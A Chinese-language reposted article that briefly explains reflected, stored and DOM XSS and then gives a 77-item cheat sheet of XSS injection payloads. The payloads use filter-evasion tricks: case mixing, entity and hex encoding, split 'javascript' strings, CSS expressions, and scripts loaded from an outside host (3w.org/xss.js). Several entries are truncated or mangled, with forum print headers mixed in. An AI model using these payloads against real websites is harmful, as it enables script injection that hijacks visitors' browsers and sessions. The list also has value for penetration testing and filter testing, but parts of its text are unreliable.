XSS攻擊常識及常見的XSS攻擊腳本彙總

1、什麼是XSS?

XSS全稱是Cross Site Scripting即跨站腳本,當目標網站目標用戶瀏覽器渲染HTML文檔的過程當中,出現了不被預期的腳本指令並執行時,XSS就發生了。javascript

2、XSS分類

XSS有三類:反射型XSS(非持久型)、存儲型XSS(持久型)和DOM XSSphp

一、反射型XSS

發出請求時,XSS代碼出如今URL中,做爲輸入提交到服務器端,服務器端解析後響應,XSS代碼隨響應內容一塊兒傳回給瀏覽器,最後瀏覽器解析執行XSS代碼。這個過程像一次反射,故叫反射型XSS。css

二、存儲型XSS

存儲型XSS和反射型XSS的差異僅在於,提交的代碼會存儲在服務器端(數據庫,內存,文件系統等),下次請求目標頁面時不用再提交XSS代碼html

最典型的例子是留言板XSS,用戶提交一條包含XSS代碼的留言存儲到數據庫,目標用戶查看留言板時,那些留言的內容會從數據庫查詢出來並顯示,瀏覽器發現有XSS代碼,就當作正常的HTML與Js解析執行,因而觸發了XSS攻擊。java

三、DOM XSS

DOM XSS和反射型XSS、存儲型XSS的差異在於DOM XSS的代碼並不須要服務器參與,觸發XSS靠的是瀏覽器端的DOM解析,徹底是客戶端的事情。git

附常見的XSS攻擊方法

(1)普通的XSS JavaScript注入

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG標籤XSS使用JavaScript命令

<IMG SRC=http://3w.org/XSS/xss.js/>

(3)IMG標籤無分號無引號

<IMG SRC=javascript:alert('XSS')>

(4)IMG標籤大小寫不敏感

<IMG SRC=JaVaScRiPt:alert('XSS')>

(5)HTML編碼(必須有分號)

<IMG SRC=javascript:alert("XSS")>

(6)修正缺陷IMG標籤

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

(7)formCharCode標籤(計算器)

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode編碼(計算器)

<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode編碼是沒有分號的(計算器)

<IMG SRC=jav..省略..S')>

(10)十六進制編碼也是沒有分號(計算器)

<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>

(11)嵌入式標籤,將Javascript分開

<IMG SRC="jav ascript:alert('XSS');">

(12)嵌入式編碼標籤,將Javascript分開

<IMG SRC="jav ascript:alert('XSS');">

(13)嵌入式換行符

<IMG SRC="jav ascript:alert('XSS');">

(14)嵌入式回車

<IMG SRC="jav ascript:alert('XSS');">

(15)嵌入式多行注入JavaScript,這是XSS極端的例子

<IMG SRC="javascript:alert('XSS')">

(16)解決限制字符(要求同頁面)

<script>z='document.'</script><script>z=z+'write("'</script><script>z=z+'<script'</script><script>z=z+' src=ht'</script><script>z=z+'tp://ww'</script><script>z=z+'w.shell'</script><script>z=z+'.net/1.'</script><script>z=z+'js></sc'</script><script>z=z+'ript>")'</script><script>eval_r(z)</script>

(17)空字符12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 2/6perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

(18)空字符2,空字符在國內基本沒效果.由於沒有地方能夠利用

perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out

(19)Spaces和meta前的IMG標籤

<IMG SRC=" javascript:alert('XSS');">

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC="http://3w.org/XSS/xss.js"></SCRIPT>

(23)雙開括號

<<SCRIPT>alert("XSS");//<</SCRIPT>

(24)無結束腳本標記(僅火狐等瀏覽器)

<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)無結束腳本標記2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半開的HTML/JavaScript XSS

<IMG SRC="javascript:alert('XSS')"

(27)雙開角括號

<iframe src=http://3w.org/XSS.html <

(28)無單引號 雙引號 分號

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

(29)換碼過濾的JavaScript

\";alert('XSS');//

(30)結束Title標籤

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

(31)Input Image

<INPUT SRC="javascript:alert('XSS');">

(32)BODY Image

<BODY BACKGROUND="javascript:alert('XSS')">

(33)BODY標籤

<BODY('XSS')>

(34)IMG Dynsrc

<IMG DYNSRC="javascript:alert('XSS')">

(35)IMG Lowsrc

<IMG LOWSRC="javascript:alert('XSS')">

(36)BGSOUND

<BGSOUND SRC="javascript:alert('XSS');">

(37)STYLE sheet

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

(38)遠程樣式表

<LINK REL="stylesheet" HREF="http://3w.org/xss.css">

(39)List-style-image(列表式)

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

(40)IMG VBscript

<IMG SRC='vbscript:msgbox("XSS")'></STYLE><UL><LI>XSS

(41)META連接url

<META HTTP-EQUIV="refresh" CONTENT="0;URL=http://;URL=javascript:alert('XSS');">

(42)Iframe

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

(43)Frame

<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.a.com/viewthread.php?action=printable&tid=15267 3/6

(44)Table

<TABLE BACKGROUND="javascript:alert('XSS')">

(45)TD

<TABLE><TD BACKGROUND="javascript:alert('XSS')">

(46)DIV background-image

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

(47)DIV background-image後加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

(48)DIV expression

<DIV STYLE="width: expression_r(alert('XSS'));">

(49)STYLE屬性分拆表達

<IMG STYLE="xss:expression_r(alert('XSS'))">

(50)匿名STYLE(組成:開角號和一個字母開頭)

<XSS STYLE="xss:expression_r(alert('XSS'))">

(51)STYLE background-image

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><ACLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert("XSS"))'>

(53)STYLE background

<STYLE><STYLEtype="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

(54)BASE

<BASE HREF="javascript:alert('XSS');//">

(55)EMBED標籤,你能夠嵌入FLASH,其中包涵XSS

<EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>

(56)在flash中使用ActionScrpt能夠混進你XSS的代碼

a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval_r(a+b+c+d);

(57)XML namespace.HTC文件必須和你的XSS載體在一臺服務器上

<HTML xmlns:xss><?import namespace="xss" implementation="http://3w.org/XSS/xss.htc"><xss:xss>XSS</xss:xss></HTML>

(58)若是過濾了你的JS你能夠在圖片裏添加JS代碼來利用

<SCRIPT SRC=""></SCRIPT>

(59)IMG嵌入式命令,可執行任意命令

<IMG SRC="http://www.a.com/a.php?a=b">

(60)IMG嵌入式命令(a.jpg在同服務器)

Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

(61)繞符號過濾

<SCRIPT a=">" SRC="http://3w.org/xss.js"></SCRIPT>

(62)

<SCRIPT =">" SRC="http://3w.org/xss.js"></SCRIPT>

(63)

<SCRIPT a=">" " SRC="http://3w.org/xss.js"></SCRIPT>

(64)

<SCRIPT "a='>'" SRC="http://3w.org/xss.js"></SCRIPT>

(65)

<SCRIPT a=`>` SRC="http://3w.org/xss.js"></SCRIPT>

(66)12-7-1 T00LS - Powered by Discuz! Board

https://www.a.com/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=">'>" SRC="http://3w.org/xss.js"></SCRIPT>

(67)

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://3w.org/xss.js"></SCRIPT>

(68)URL繞行

<A HREF="http://127.0.0.1/">XSS</A>

(69)URL編碼

<A HREF="http://3w.org">XSS</A>

(70)IP十進制

<A HREF="http://3232235521″>XSS</A>

(71)IP十六進制

<A HREF="http://0xc0.0xa8.0×00.0×01″>XSS</A>

(72)IP八進制

<A HREF="http://0300.0250.0000.0001″>XSS</A>

(73)混合編碼

<A HREF="http://6 6.000146.0×7.147/"">XSS</A>

(74)節省[http:]

<A HREF="//www.google.com/">XSS</A>

(75)節省[www]

<A HREF="http://google.com/">XSS</A>

(76)絕對點絕對DNS

<A HREF="http://www.google.com./">XSS</A>

(77)javascript連接

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
做者:睿睿熊
轉載連接:https://www.jianshu.com/p/36b3578a6629
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